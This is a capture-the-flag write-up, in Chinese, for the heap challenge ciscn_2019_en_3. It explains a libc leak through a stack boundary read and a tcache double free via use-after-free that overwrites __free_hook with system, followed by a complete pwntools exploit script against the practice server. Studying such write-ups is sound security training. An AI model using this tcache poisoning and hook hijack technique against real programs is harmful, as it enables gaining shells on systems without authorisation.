ciscn_2019_en_3 tcache
ciscn_2019_en_3
安全检查
程序流程
开头,刚开始以为可以格式化字符串漏洞,但不能直接显示第几个参数,不过看了师傅的write up后,发现不仅要留意程序的堆情况,栈情况也需要留意,这里可以溢出
add函数,单字节溢出
edit和show函数都是假的
delete函数,有uaf漏洞
漏洞分析
- 程序开头没有检查边界,所以read函数,可以puts溢出,发现setbuffer+231就在s之后,由此泄露libc
- 利用uaf达到double free,将next指针指向free_hook,进行劫持,变为system的函数
exp:
1 from pwn import * 2 context.log_level = 'debug' 3 #p=process('./ciscn_2019_en_3') 4 p=remote('node3.buuoj.cn',27610) 5 elf=ELF('./ciscn_2019_en_3') 6 libc=ELF('libc-2.27.so') 7 8 def add(size,story): 9 p.sendlineafter('choice:','1') 10 p.sendlineafter('story:',str(size)) 11 p.sendlineafter('story:',story) 12 13 def edit(): 14 p.sendlineafter('choice:','2') 15 16 def show(): 17 p.sendlineafter('choice:','3') 18 19 def delete(idx): 20 p.sendlineafter('choice:','4') 21 p.sendlineafter('index:',str(idx)) 22 23 p.recvuntil("What's your name?") 24 p.sendline('pppp') 25 p.recvuntil('Please input your ID.') 26 p.sendline('pppppppp') 27 28 setbuff=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-231 29 libc_base=setbuff-libc.symbols['setbuffer'] 30 system_addr=libc_base+libc.symbols['system'] 31 free_addr=libc_base+libc.symbols['__free_hook'] 32 33 print(hex(libc_base)) 34 print(hex(setbuff)) 35 36 add(0x60,'pppp') 37 add(0x60,'/bin/sh\x00') 38 delete(0) 39 delete(0) 40 41 add(0x60,p64(free_addr)) 42 add(0x60,'pppp') 43 44 print(hex(free_addr)) 45 #gdb.attach(p) 46 add(0x60,p64(system_addr)) 47 #gdb.attach(p) 48 #delete(1) 49 50 p.interactive()
注意事项:不要只看堆,也要看各个变量的情况,比如这次就是栈的边界溢出,泄露了libc,所以得加强对程序的理解才行